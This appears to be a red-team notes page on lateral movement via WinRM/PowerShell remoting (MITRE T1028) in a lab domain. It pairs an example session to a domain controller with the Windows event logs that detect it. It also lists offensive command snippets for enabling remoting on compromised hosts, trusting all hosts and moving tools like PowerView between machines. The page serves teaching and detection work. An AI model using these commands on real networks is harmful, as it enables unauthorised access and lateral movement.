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t1028-winrm-for-lateral-movement.md

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description
PowerShell remoting for lateral movement.

WinRM for Lateral Movement

Execution

Attacker establishing a PSRemoting session from a compromised system 10.0.0.2 to a domain controller dc-mantvydas at 10.0.0.6:

{% code title="[email protected]" %}

New-PSSession -ComputerName dc-mantvydas -Credential (Get-Credential)

  Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 Session1        dc-mantvydas    RemoteMachine   Opened        Microsoft.PowerShell     Available

PS C:\Users\mantvydas> Enter-PSSession 1
[dc-mantvydas]: PS C:\Users\spotless\Documents> calc.exe

{% endcode %}

Observations

Note the process ancestry:

On the host that initiated the connection, a 4648 logon attempt is logged, showing what process initiated it, the hostname where it connected to and which account was used:

The below graphic shows that the logon events 4648 annd 4624 are being logged on both the system that initiated the connection (pc-mantvydas - 4648) and the system that it logged on to (dc-mantvydas - 4624):

Additionally, %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx on the host that initiated connection to the remote host, logs some interesting data for a task WSMan Session initialize :

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-WinRM" Guid="{A7975C8F-AC13-49F1-87DA-5A984A4AB417}" /> 
  <EventID>6</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>3</Task> 
  <Opcode>1</Opcode> 
  <Keywords>0x4000000000000002</Keywords> 

  # connection iniation time
  <TimeCreated SystemTime="2018-07-25T21:13:36.511895800Z" /> 
  <EventRecordID>673</EventRecordID> 

  # a unique connection ID
  <Correlation ActivityID="{037F878B-8DF6-4F1A-BA51-432C3CDDCB47}" /> 

  # process ID that initiated the connection
  <Execution ProcessID="3172" ThreadID="2844" /> 
  <Channel>Microsoft-Windows-WinRM/Operational</Channel> 
  <Computer>PC-MANTVYDAS.offense.local</Computer> 
  <Security UserID="S-1-5-21-1731862936-2585581443-184968265-1001" /> 
  </System>
- <EventData>

  # remote host the connection was initiated to
  <Data Name="connection">dc-mantvydas/wsman?PSVersion=5.1.14409.1005</Data> 
  </EventData>
  </Event>

...same as above just in the actual screenshot:

Since we entered into a PS Shell on the remote system (Enter-PSSession) , there is another interesting log showing the establishment of a remote shell - note that the ShellID corresponds to the earlier observed Correlation ActivityID:

Additional Useful Commands

Jules Adriaens reached out to me and suggested to add the following useful commands, so here they are:

# Enable PowerShell Remoting on the target (box needs to be compromised first)
Enable-PSRemoting -force

# Check if a given system is listening on WinRM port
Test-NetConnection <IP> -CommonTCPPort WINRM

# Trust all hosts:
Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force

# Check what hosts are trusted
Get-Item WSMan:\localhost\Client\TrustedHosts

# Execute command on remote host
Invoke-Command <host> -Credential $cred -ScriptBlock {Hostname}

# Interactive session with explicit credentials
Enter-PSSession <host> -Credential <domain>\<user>

# Interactive session using Kerberos:
Enter-PSSession <host> -Authentication Kerberos

# Upload file to remote session
Copy-Item -Path C:\Temp\PowerView.ps1 -Destination C:\Temp\ -ToSession (Get-PSSession)

# Download file from remote session
Copy-Item -Path C:\Users\Administrator\Desktop\test.txt -Destination C:\Temp\ -FromSession (Get-PSSession)

References

{% embed url="http://www.hurryupandwait.io/blog/a-look-under-the-hood-at-powershell-remoting-through-a-ruby-cross-plaform-lens" %}

{% embed url="https://attack.mitre.org/wiki/Technique/T1028" %}